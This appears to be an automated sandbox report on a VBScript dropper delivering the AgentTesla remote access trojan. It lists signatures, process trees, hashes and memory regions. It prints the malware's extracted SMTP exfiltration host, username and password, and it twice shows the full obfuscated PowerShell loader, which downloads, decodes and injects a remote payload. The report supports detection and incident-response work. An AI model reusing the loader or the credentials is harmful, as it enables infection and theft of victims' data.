Analysis
-
max time kernel
150s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20240319-en -
resource tags
arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system -
submitted
27-03-2024 06:57
Static task
static1
Behavioral task
behavioral1
Sample
Stentmaster.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Stentmaster.vbs
Resource
win10v2004-20240319-en
General
-
Target
Stentmaster.vbs
-
Size
38KB
-
MD5
613702fe5cd92cf1be6aee56add6c9ec
-
SHA1
99ecdbd2acfe1da9de01679f97d1f48e96af8929
-
SHA256
26e21e671b5aaad789b9b55783987f6654adc120c8f70c6ccecc39c349eecbe1
-
SHA512
c9eda14f03f6e94659494ea255c43b3dd4a334cb1070a1599a14dea2a30fd880115427a9a4058da0f1e78adfd889c8469c9e1d52cf2213cd4057a705d1f0bc5e
-
SSDEEP
768:u0LgBYRBVWAZGc8NnKwiQD2g+Q8z3SsJb:w6qNnKw6zz35
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
cp8nl.hyperhost.ua - Port:
587 - Username:
[email protected] - Password:
7213575aceACE@# - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 5076 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 4736 powershell.exe 5076 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4736 set thread context of 5076 4736 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 4028 powershell.exe 4028 powershell.exe 4028 powershell.exe 4736 powershell.exe 4736 powershell.exe 4736 powershell.exe 4736 powershell.exe 5076 wab.exe 5076 wab.exe 5076 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 4736 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 4028 powershell.exe Token: SeDebugPrivilege 4736 powershell.exe Token: SeDebugPrivilege 5076 wab.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 1396 wrote to memory of 4028 1396 WScript.exe powershell.exe PID 1396 wrote to memory of 4028 1396 WScript.exe powershell.exe PID 4028 wrote to memory of 884 4028 powershell.exe cmd.exe PID 4028 wrote to memory of 884 4028 powershell.exe cmd.exe PID 4028 wrote to memory of 4736 4028 powershell.exe powershell.exe PID 4028 wrote to memory of 4736 4028 powershell.exe powershell.exe PID 4028 wrote to memory of 4736 4028 powershell.exe powershell.exe PID 4736 wrote to memory of 4436 4736 powershell.exe cmd.exe PID 4736 wrote to memory of 4436 4736 powershell.exe cmd.exe PID 4736 wrote to memory of 4436 4736 powershell.exe cmd.exe PID 4736 wrote to memory of 5076 4736 powershell.exe wab.exe PID 4736 wrote to memory of 5076 4736 powershell.exe wab.exe PID 4736 wrote to memory of 5076 4736 powershell.exe wab.exe PID 4736 wrote to memory of 5076 4736 powershell.exe wab.exe PID 4736 wrote to memory of 5076 4736 powershell.exe wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Stentmaster.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Stedsangivelserne Suppleants Sombrero #>;$Wejack=(cmd /c set /A 115^^0);Function Sociosexuality ([String]$Ecce){$Oksekd=[char][int]$Wejack+'ubstring';$Lnoverfrslers=8;$Blse37=Skabers($Ecce);For($Sdmlken=7; $Sdmlken -lt $Blse37; $Sdmlken+=$Lnoverfrslers){$Graylings=$Ecce.$Oksekd.Invoke($Sdmlken, 1);$cashbook=$cashbook+$Graylings;}$cashbook;}function Membracid ($Dunjakkes){& ($Oprrers126) ($Dunjakkes);}function Skabers ([String]$Bohemium){$Digressingly=$Bohemium.Length-1;$Digressingly;}$Fostress=Sociosexuality 'BundfroTA,enemprDispro,aSommerhn OpridssSkolevefQuadraneBetramprPrelaturforedefi e,bolinExhu atgA,teren ';$Rbarheden=Sociosexuality 'Op yggehIns,rumtArb,jdst alushpunautomsStentec: Spaidt/forbi d/ situatd ScriptrReceptiiForsknivGulvmodeAbuzzeq. HoaxeegJer,ildoStueureoHaafpregMaling,lFleshbre Skovsy.CurtisdcGudindeoSu,ceskm.rdighe/FingerauUnterrocBetaetk?FundereeRankestxKerato.p ProconoAnore.trComplextBirgith=SupplandMassesuoJernbanwBiteablnAngerfulDr.bstaoDrivhjuapl.notrdAmoebic&Photo.liEneboerdSkuespi=Ejerlav1OverreskBetroenC kol.nnmTiamat L ZazasfuBank.ss8 Lagdel1LovbrydI,hirurgMdiemakegRudskalzTaktar N Shaki.ZAdjureeh Vrede.3Rec,ssitSubappr6ForkbsrsZinsangkDetenteFLangtruU InstruwInordinA BryggeYMayakulg OverbiRPreal,eoStoftr dDekuperZPapapreqLokalplQSku,epuO Regio ';$Oprrers126=Sociosexuality 'OutspariHalvbueeShohet,xAronsst ';$Photoactivation=Sociosexuality 'E,semen$SrskrivgPodophtlStimereoPugg,plb RugmelaDronenslPlurall:DeliverOSani,ierBuskpladRgelsesdKa.fepueDiapyeslInterlai ForlaenTraadorgSublim s.olierea unkenslSnareregOmk detoArchik rcribraliRefracttE terbemBosquese Numino Teoriun=Gramini Tilb geS DruknitPrecleraUdvik ir SlagtetUnsplin-FormaliBGambreliSkale.btpartshrsShieldlTA tsforrMskesunaResponsnU,feignsDramad.fRetf.die Heid.lrengangs Knott.e- AnonacSHalv.ano geometu Pic.nirTrigonocMetaphoeF,setco Proscri$ forfryRudiplombUntilliaG,eskabr IsskruhSlagkr.eRaketskdSuperexekva tern dfrsel No,cont-HakupaaDHurray.eInformasK rulantPedicuriMinsitinAn irefaStededetHoodlumiResforno OpvendnSubinfe Diskoda$PuddingAUnabatedIsbjergm Renoncihovedman wenny i Arnbers Under,tRe,selsrmiracleaMi chudtPrevis,iPriskrioGi diernMultif s DriesppDisinterGesjfteoSeriefrgBrobyggrT.lmelda Tut.nim K,onvisUnintro ';Membracid (Sociosexuality 'Transmi$permanegProcesslfjernbeoSmigginbFo kortaFocalisl Intrat:Fastb,cASamler,dPyrhe imTidsinti pregun EcoleliMystikssUndersltSelvej,rUdskrivaBatisthtRook.dsi T,iangoSfinksenOphioglsDepositpAmidoncrCineolso ,yvstjgDepone r.ntoblaaLseplanmTeenagesRelan,e=.eterom$SnoedeseRaidedrnGab,llevUncondi:MaegbotabicyclepPhenylap UskrmtdFlagellaRationatVandledaHumored ') ;Membracid (Sociosexuality 'BlodprvIPrmieremSpdbrnsp ForvaloCornflarKano,istLovligg-ModtageMTr pperoIndivped StrkbauMellemtl profiteAfbindi MuckworBAfviklii S,empetAnkomsts SliderT Ga,denrTectibrasminthunPhysicisSkr.dtlf Unindwe .rmiskrS.narqu ') ;$Administrationsprograms=$Administrationsprograms+'\Undslap.Luk' ;Membracid (Sociosexuality 'Skrible$ByggefogKrig tilMilieu o Negro,bDaibutsaBrandtol Adgang:Ly,phocBblomkaauDiskettn ContindRitualmgDiactinrSpunshun Badehas b nebeeGrim ssrSkjorte=Chichib(Tra endTStjflsoe isembosafprikntCanker,-Effl.viPM,ksimeaIrisinutEluviath Bu.lru Diagre$Pept,geA RemontdSantoskmBefindeiAcrophonSkatteoisubcl msScurvywt BundgarBartletaE rybest Fa,tigi RejudgoHydro inPr.gramsSteternpStraksfr KulkldoGenistrg EstrinrHjemli,aH.nnainmDrmmeces Baston)Bi uakk ') ;while (-not $Bundgrnser) {Membracid (Sociosexuality 'HyperkoIIntertofScutibr Ph.nyl(Contra.$DollhouO.nglidnrStockhod Radiosd Grundse underelSton,neiComputenSm.erieg StiletsRekordia.ontismlUlnie,egOutgusholizanner KoldkriT rannitGummibemSubseroeWi.ners.InterfiJrehumbloPan.ubibSpritteS HearthtDispensaSpillemt ,arlpye Perfor Versif,-An iseme ReformqBarieor Umulig$U,dendeF ,lankooO.eranss UnchaftCrystalr ligosePh tofisJernbansGammelk)phenopl Salpet,{N,uropsSSmaastytBlankosa Forvinr,tilartt Op.akt-Gennem S StrandlMultipleReshinge elefonpslankes Endoca1Utaknem}Stun ereTamperrlKernepusCockerse Cyl,nd{Monoc,rSerobrertIn.isciaDetacherMicrositOxgang -,oilersSRepresel AandineAlan lae,isentapUlivssa Ph,cocy1Nonerad;UnminerMAvanc.ge .ugginmAfgiftebGabblerrMorfiniacloacitcBedrageiGirthedd Erstat Traktor$UrocystPportnerhVold.mnoPres.retInterimo UnfiscaMilagesc.utagertCan,ingiSan,hapv,atechiaDeportatKu,velni,eurobioBlodfejnRavende} Prsteg ');Membracid (Sociosexuality 'Moda be$Protr,cghanumanlSifteddoDebruisbShippinabil.ilslNonfabu:UnderkaB Superhu intercn AfsattdMoonwalgFriserirTintypenEtageejsResentie Tog.etrCrocein=Fr,mmed(Fort.ylTBeet ine Da.ielsRicersstAltru s- raftvPThromboaricebirtRevirethsickl,i Nation$SocieteAmaskingdBur,gramSalag.hiHeroi,ensmid gsiUnc.udisSteatoctKoft.rnrPeritreaKritisetrodgestiAdv rseoUdbedrinRightyasForsknipPeisa erStores.o Cap,angLengthir,icelanaBygningmBrn,pensEmetolo)Ops rmm ') ;}Membracid (Sociosexuality '.kriftb$Sh.pboygBlaykrelShramlooHolograb .oetanaSymfonilthygepa:PrelibeSSubseroyFrugtbrc erapeuoU,mattepRemend,hPleurora FunarindioxanetMonodraiEnvisa sBrush,ve mpresssFavo.es Betonrk=Pa.adel AgueuneG Ba,kekeIntereptEuphorb- UnfratCTr nsploHstersanInternatSoli,ume I.pestnBlodk,rtDialec, Vermil$KulturhAUan gted TermatmUrbanisiOverbenn RezoneiForkanas Kvrul,t Snakker filthaaMormdretvildtreiVitaceooTriceran SilkehsPhytolipAccretirTrivialoDinosaugelfenberStberanaT.leporm FunebrsButteso ');Membracid (Sociosexuality 'roadmas$SyncretgRealtidlAgerdyroRagoutfbUnwireka Ov rcrlEkspede:Ke flopM colporetreaarsn GullyitKr utzei ndsnegmYowlersu Unsectt Beu,drabattutatOv,rstai Botanio ProvennRig.esr Netstrm=A,atomi ,undere[ SolfilSHa,rosfyDupzvrtsSpousint Creameenon.ovemIndkbsc.DrivkraC ApplauoRelayinn Apologveum,rome Udsynerchens,at Syn,ny]Falbyde:Eksklus: ObtusiFJrrieenrCattedfo Counitm SirkydBHierograC,upouds Ol,neleG,shful6S.ortag4t,hervoSForbudttTramlinrF inderimagnetonSalicylgtermins(K,rkedr$ TragelSS.perbeyGoo.ahpc roducoColandepLuftha.hKrabbefaMaggotsnPensiontEnhydrii Nrsynes Af.ianeArmqpp.s Incomp)Listeud ');Membracid (Sociosexuality 'Sy tene$folketig ChalcilGebete,oForvrvlbS.olediaPneumorlRaadpla:NedsablSKddendelcolliquuAfgiftstHovedm,tSprayeniIsprngedBackwra Nicer.l=Oxidere Enter s[Stoec.iSHardimhyInnovats PolititSm dstie AnaemimKardina. SpringTConquineQu,trocxOut.iggtSekondt.TincturEBackbennSejpinecPrinteroDsendesdKidnapniPr.ratenSystempgAng,ise]Diddesa: S,yrke:ForbundAPigprinSg.edetiCDyspeptISnazzyvITelegra.SyssarcGHe.dlsceTkkerentBerrypiSSkandaltResdoktrSulvasui PrstatnPhantomgUkul.le(Valgtyp$MissettMPlejebae,ennemsn Fink mtGumpr ciSkyedesmTi planu Losse tHalsk eaAprjteltUnexubei GamminoMoorcocnSkomage) Sans,r ');Membracid (Sociosexuality 'Boligbl$ SnespugRhodorhlRveriskoEct.ymabPumpestaToxiferl errill: EnlodgSAktielit overstrTursenoy,yponoeg AfsendeVentrifoUnrecorrHallowekBeslowse UrnordsMedallitSkrueisrNominaleHjemfarnRacemizeUdskiftsObviou,=,afftan$yafflekSUnde,sklTabstopu Ind,amtHypermet.runelli FyndordIntwine. ptaltdsAwhirhruBessemebImpapassSikker tFo,weeprBittermiDepart.n Fot mogSemioti( Bo.old3Superg,2Panegyr6 Fulmin2 Afbudt9Rarifie0Program, Discre3T mlksp1Platoni1 ungerk9Produkt3 Sk ljp) tlleap ');Membracid $Strygeorkestrenes;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Stedsangivelserne Suppleants Sombrero #>;$Wejack=(cmd /c set /A 115^^0);Function Sociosexuality ([String]$Ecce){$Oksekd=[char][int]$Wejack+'ubstring';$Lnoverfrslers=8;$Blse37=Skabers($Ecce);For($Sdmlken=7; $Sdmlken -lt $Blse37; $Sdmlken+=$Lnoverfrslers){$Graylings=$Ecce.$Oksekd.Invoke($Sdmlken, 1);$cashbook=$cashbook+$Graylings;}$cashbook;}function Membracid ($Dunjakkes){& ($Oprrers126) ($Dunjakkes);}function Skabers ([String]$Bohemium){$Digressingly=$Bohemium.Length-1;$Digressingly;}$Fostress=Sociosexuality 'BundfroTA,enemprDispro,aSommerhn OpridssSkolevefQuadraneBetramprPrelaturforedefi e,bolinExhu atgA,teren ';$Rbarheden=Sociosexuality 'Op yggehIns,rumtArb,jdst alushpunautomsStentec: Spaidt/forbi d/ situatd ScriptrReceptiiForsknivGulvmodeAbuzzeq. HoaxeegJer,ildoStueureoHaafpregMaling,lFleshbre Skovsy.CurtisdcGudindeoSu,ceskm.rdighe/FingerauUnterrocBetaetk?FundereeRankestxKerato.p ProconoAnore.trComplextBirgith=SupplandMassesuoJernbanwBiteablnAngerfulDr.bstaoDrivhjuapl.notrdAmoebic&Photo.liEneboerdSkuespi=Ejerlav1OverreskBetroenC kol.nnmTiamat L ZazasfuBank.ss8 Lagdel1LovbrydI,hirurgMdiemakegRudskalzTaktar N Shaki.ZAdjureeh Vrede.3Rec,ssitSubappr6ForkbsrsZinsangkDetenteFLangtruU InstruwInordinA BryggeYMayakulg OverbiRPreal,eoStoftr dDekuperZPapapreqLokalplQSku,epuO Regio ';$Oprrers126=Sociosexuality 'OutspariHalvbueeShohet,xAronsst ';$Photoactivation=Sociosexuality 'E,semen$SrskrivgPodophtlStimereoPugg,plb RugmelaDronenslPlurall:DeliverOSani,ierBuskpladRgelsesdKa.fepueDiapyeslInterlai ForlaenTraadorgSublim s.olierea unkenslSnareregOmk detoArchik rcribraliRefracttE terbemBosquese Numino Teoriun=Gramini Tilb geS DruknitPrecleraUdvik ir SlagtetUnsplin-FormaliBGambreliSkale.btpartshrsShieldlTA tsforrMskesunaResponsnU,feignsDramad.fRetf.die Heid.lrengangs Knott.e- AnonacSHalv.ano geometu Pic.nirTrigonocMetaphoeF,setco Proscri$ forfryRudiplombUntilliaG,eskabr IsskruhSlagkr.eRaketskdSuperexekva tern dfrsel No,cont-HakupaaDHurray.eInformasK rulantPedicuriMinsitinAn irefaStededetHoodlumiResforno OpvendnSubinfe Diskoda$PuddingAUnabatedIsbjergm Renoncihovedman wenny i Arnbers Under,tRe,selsrmiracleaMi chudtPrevis,iPriskrioGi diernMultif s DriesppDisinterGesjfteoSeriefrgBrobyggrT.lmelda Tut.nim K,onvisUnintro ';Membracid (Sociosexuality 'Transmi$permanegProcesslfjernbeoSmigginbFo kortaFocalisl Intrat:Fastb,cASamler,dPyrhe imTidsinti pregun EcoleliMystikssUndersltSelvej,rUdskrivaBatisthtRook.dsi T,iangoSfinksenOphioglsDepositpAmidoncrCineolso ,yvstjgDepone r.ntoblaaLseplanmTeenagesRelan,e=.eterom$SnoedeseRaidedrnGab,llevUncondi:MaegbotabicyclepPhenylap UskrmtdFlagellaRationatVandledaHumored ') ;Membracid (Sociosexuality 'BlodprvIPrmieremSpdbrnsp ForvaloCornflarKano,istLovligg-ModtageMTr pperoIndivped StrkbauMellemtl profiteAfbindi MuckworBAfviklii S,empetAnkomsts SliderT Ga,denrTectibrasminthunPhysicisSkr.dtlf Unindwe .rmiskrS.narqu ') ;$Administrationsprograms=$Administrationsprograms+'\Undslap.Luk' ;Membracid (Sociosexuality 'Skrible$ByggefogKrig tilMilieu o Negro,bDaibutsaBrandtol Adgang:Ly,phocBblomkaauDiskettn ContindRitualmgDiactinrSpunshun Badehas b nebeeGrim ssrSkjorte=Chichib(Tra endTStjflsoe isembosafprikntCanker,-Effl.viPM,ksimeaIrisinutEluviath Bu.lru Diagre$Pept,geA RemontdSantoskmBefindeiAcrophonSkatteoisubcl msScurvywt BundgarBartletaE rybest Fa,tigi RejudgoHydro inPr.gramsSteternpStraksfr KulkldoGenistrg EstrinrHjemli,aH.nnainmDrmmeces Baston)Bi uakk ') ;while (-not $Bundgrnser) {Membracid (Sociosexuality 'HyperkoIIntertofScutibr Ph.nyl(Contra.$DollhouO.nglidnrStockhod Radiosd Grundse underelSton,neiComputenSm.erieg StiletsRekordia.ontismlUlnie,egOutgusholizanner KoldkriT rannitGummibemSubseroeWi.ners.InterfiJrehumbloPan.ubibSpritteS HearthtDispensaSpillemt ,arlpye Perfor Versif,-An iseme ReformqBarieor Umulig$U,dendeF ,lankooO.eranss UnchaftCrystalr ligosePh tofisJernbansGammelk)phenopl Salpet,{N,uropsSSmaastytBlankosa Forvinr,tilartt Op.akt-Gennem S StrandlMultipleReshinge elefonpslankes Endoca1Utaknem}Stun ereTamperrlKernepusCockerse Cyl,nd{Monoc,rSerobrertIn.isciaDetacherMicrositOxgang -,oilersSRepresel AandineAlan lae,isentapUlivssa Ph,cocy1Nonerad;UnminerMAvanc.ge .ugginmAfgiftebGabblerrMorfiniacloacitcBedrageiGirthedd Erstat Traktor$UrocystPportnerhVold.mnoPres.retInterimo UnfiscaMilagesc.utagertCan,ingiSan,hapv,atechiaDeportatKu,velni,eurobioBlodfejnRavende} Prsteg ');Membracid (Sociosexuality 'Moda be$Protr,cghanumanlSifteddoDebruisbShippinabil.ilslNonfabu:UnderkaB Superhu intercn AfsattdMoonwalgFriserirTintypenEtageejsResentie Tog.etrCrocein=Fr,mmed(Fort.ylTBeet ine Da.ielsRicersstAltru s- raftvPThromboaricebirtRevirethsickl,i Nation$SocieteAmaskingdBur,gramSalag.hiHeroi,ensmid gsiUnc.udisSteatoctKoft.rnrPeritreaKritisetrodgestiAdv rseoUdbedrinRightyasForsknipPeisa erStores.o Cap,angLengthir,icelanaBygningmBrn,pensEmetolo)Ops rmm ') ;}Membracid (Sociosexuality '.kriftb$Sh.pboygBlaykrelShramlooHolograb .oetanaSymfonilthygepa:PrelibeSSubseroyFrugtbrc erapeuoU,mattepRemend,hPleurora FunarindioxanetMonodraiEnvisa sBrush,ve mpresssFavo.es Betonrk=Pa.adel AgueuneG Ba,kekeIntereptEuphorb- UnfratCTr nsploHstersanInternatSoli,ume I.pestnBlodk,rtDialec, Vermil$KulturhAUan gted TermatmUrbanisiOverbenn RezoneiForkanas Kvrul,t Snakker filthaaMormdretvildtreiVitaceooTriceran SilkehsPhytolipAccretirTrivialoDinosaugelfenberStberanaT.leporm FunebrsButteso ');Membracid (Sociosexuality 'roadmas$SyncretgRealtidlAgerdyroRagoutfbUnwireka Ov rcrlEkspede:Ke flopM colporetreaarsn GullyitKr utzei ndsnegmYowlersu Unsectt Beu,drabattutatOv,rstai Botanio ProvennRig.esr Netstrm=A,atomi ,undere[ SolfilSHa,rosfyDupzvrtsSpousint Creameenon.ovemIndkbsc.DrivkraC ApplauoRelayinn Apologveum,rome Udsynerchens,at Syn,ny]Falbyde:Eksklus: ObtusiFJrrieenrCattedfo Counitm SirkydBHierograC,upouds Ol,neleG,shful6S.ortag4t,hervoSForbudttTramlinrF inderimagnetonSalicylgtermins(K,rkedr$ TragelSS.perbeyGoo.ahpc roducoColandepLuftha.hKrabbefaMaggotsnPensiontEnhydrii Nrsynes Af.ianeArmqpp.s Incomp)Listeud ');Membracid (Sociosexuality 'Sy tene$folketig ChalcilGebete,oForvrvlbS.olediaPneumorlRaadpla:NedsablSKddendelcolliquuAfgiftstHovedm,tSprayeniIsprngedBackwra Nicer.l=Oxidere Enter s[Stoec.iSHardimhyInnovats PolititSm dstie AnaemimKardina. SpringTConquineQu,trocxOut.iggtSekondt.TincturEBackbennSejpinecPrinteroDsendesdKidnapniPr.ratenSystempgAng,ise]Diddesa: S,yrke:ForbundAPigprinSg.edetiCDyspeptISnazzyvITelegra.SyssarcGHe.dlsceTkkerentBerrypiSSkandaltResdoktrSulvasui PrstatnPhantomgUkul.le(Valgtyp$MissettMPlejebae,ennemsn Fink mtGumpr ciSkyedesmTi planu Losse tHalsk eaAprjteltUnexubei GamminoMoorcocnSkomage) Sans,r ');Membracid (Sociosexuality 'Boligbl$ SnespugRhodorhlRveriskoEct.ymabPumpestaToxiferl errill: EnlodgSAktielit overstrTursenoy,yponoeg AfsendeVentrifoUnrecorrHallowekBeslowse UrnordsMedallitSkrueisrNominaleHjemfarnRacemizeUdskiftsObviou,=,afftan$yafflekSUnde,sklTabstopu Ind,amtHypermet.runelli FyndordIntwine. ptaltdsAwhirhruBessemebImpapassSikker tFo,weeprBittermiDepart.n Fot mogSemioti( Bo.old3Superg,2Panegyr6 Fulmin2 Afbudt9Rarifie0Program, Discre3T mlksp1Platoni1 ungerk9Produkt3 Sk ljp) tlleap ');Membracid $Strygeorkestrenes;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4084 --field-trial-handle=2244,i,11986678581565715302,451159359636456336,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymsomov2.4op.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/4028-9-0x000001DA9D8F0000-0x000001DA9D912000-memory.dmpFilesize
136KB
-
memory/4028-10-0x00007FF8A1E30000-0x00007FF8A28F1000-memory.dmpFilesize
10.8MB
-
memory/4028-11-0x000001DA9D940000-0x000001DA9D950000-memory.dmpFilesize
64KB
-
memory/4028-12-0x000001DA9D940000-0x000001DA9D950000-memory.dmpFilesize
64KB
-
memory/4028-13-0x000001DAA05B0000-0x000001DAA05D6000-memory.dmpFilesize
152KB
-
memory/4028-14-0x000001DAA0610000-0x000001DAA0624000-memory.dmpFilesize
80KB
-
memory/4028-17-0x00007FF8A1E30000-0x00007FF8A28F1000-memory.dmpFilesize
10.8MB
-
memory/4028-19-0x000001DA9D940000-0x000001DA9D950000-memory.dmpFilesize
64KB
-
memory/4028-21-0x000001DA9D940000-0x000001DA9D950000-memory.dmpFilesize
64KB
-
memory/4028-45-0x000001DA9D940000-0x000001DA9D950000-memory.dmpFilesize
64KB
-
memory/4028-77-0x00007FF8A1E30000-0x00007FF8A28F1000-memory.dmpFilesize
10.8MB
-
memory/4736-42-0x00000000082D0000-0x0000000008874000-memory.dmpFilesize
5.6MB
-
memory/4736-48-0x0000000008880000-0x000000000E652000-memory.dmpFilesize
93.8MB
-
memory/4736-20-0x0000000004F10000-0x0000000005538000-memory.dmpFilesize
6.2MB
-
memory/4736-22-0x0000000005580000-0x00000000055A2000-memory.dmpFilesize
136KB
-
memory/4736-23-0x0000000005620000-0x0000000005686000-memory.dmpFilesize
408KB
-
memory/4736-24-0x0000000005700000-0x0000000005766000-memory.dmpFilesize
408KB
-
memory/4736-34-0x00000000057F0000-0x0000000005B44000-memory.dmpFilesize
3.3MB
-
memory/4736-35-0x0000000005E30000-0x0000000005E4E000-memory.dmpFilesize
120KB
-
memory/4736-36-0x0000000005E60000-0x0000000005EAC000-memory.dmpFilesize
304KB
-
memory/4736-37-0x00000000024E0000-0x00000000024F0000-memory.dmpFilesize
64KB
-
memory/4736-38-0x00000000076A0000-0x0000000007D1A000-memory.dmpFilesize
6.5MB
-
memory/4736-39-0x0000000006410000-0x000000000642A000-memory.dmpFilesize
104KB
-
memory/4736-40-0x00000000070C0000-0x0000000007156000-memory.dmpFilesize
600KB
-
memory/4736-41-0x0000000007060000-0x0000000007082000-memory.dmpFilesize
136KB
-
memory/4736-16-0x00000000048A0000-0x00000000048D6000-memory.dmpFilesize
216KB
-
memory/4736-43-0x0000000007090000-0x00000000070B2000-memory.dmpFilesize
136KB
-
memory/4736-44-0x0000000007330000-0x0000000007344000-memory.dmpFilesize
80KB
-
memory/4736-46-0x00000000024E0000-0x00000000024F0000-memory.dmpFilesize
64KB
-
memory/4736-47-0x0000000007560000-0x0000000007561000-memory.dmpFilesize
4KB
-
memory/4736-18-0x00000000024E0000-0x00000000024F0000-memory.dmpFilesize
64KB
-
memory/4736-50-0x0000000074700000-0x0000000074EB0000-memory.dmpFilesize
7.7MB
-
memory/4736-51-0x00000000024E0000-0x00000000024F0000-memory.dmpFilesize
64KB
-
memory/4736-52-0x00000000024E0000-0x00000000024F0000-memory.dmpFilesize
64KB
-
memory/4736-53-0x00000000024E0000-0x00000000024F0000-memory.dmpFilesize
64KB
-
memory/4736-54-0x0000000077121000-0x0000000077241000-memory.dmpFilesize
1.1MB
-
memory/4736-55-0x00000000024E0000-0x00000000024F0000-memory.dmpFilesize
64KB
-
memory/4736-15-0x0000000074700000-0x0000000074EB0000-memory.dmpFilesize
7.7MB
-
memory/4736-72-0x0000000074700000-0x0000000074EB0000-memory.dmpFilesize
7.7MB
-
memory/5076-70-0x0000000001000000-0x0000000002254000-memory.dmpFilesize
18.3MB
-
memory/5076-71-0x0000000077121000-0x0000000077241000-memory.dmpFilesize
1.1MB
-
memory/5076-57-0x0000000077121000-0x0000000077241000-memory.dmpFilesize
1.1MB
-
memory/5076-74-0x0000000001000000-0x0000000001040000-memory.dmpFilesize
256KB
-
memory/5076-73-0x0000000074700000-0x0000000074EB0000-memory.dmpFilesize
7.7MB
-
memory/5076-56-0x00000000771A8000-0x00000000771A9000-memory.dmpFilesize
4KB
-
memory/5076-78-0x0000000025F00000-0x0000000025F10000-memory.dmpFilesize
64KB
-
memory/5076-80-0x00000000261F0000-0x0000000026240000-memory.dmpFilesize
320KB
-
memory/5076-81-0x00000000262E0000-0x0000000026372000-memory.dmpFilesize
584KB
-
memory/5076-82-0x0000000026250000-0x000000002625A000-memory.dmpFilesize
40KB
-
memory/5076-84-0x0000000074700000-0x0000000074EB0000-memory.dmpFilesize
7.7MB
-
memory/5076-86-0x0000000025F00000-0x0000000025F10000-memory.dmpFilesize
64KB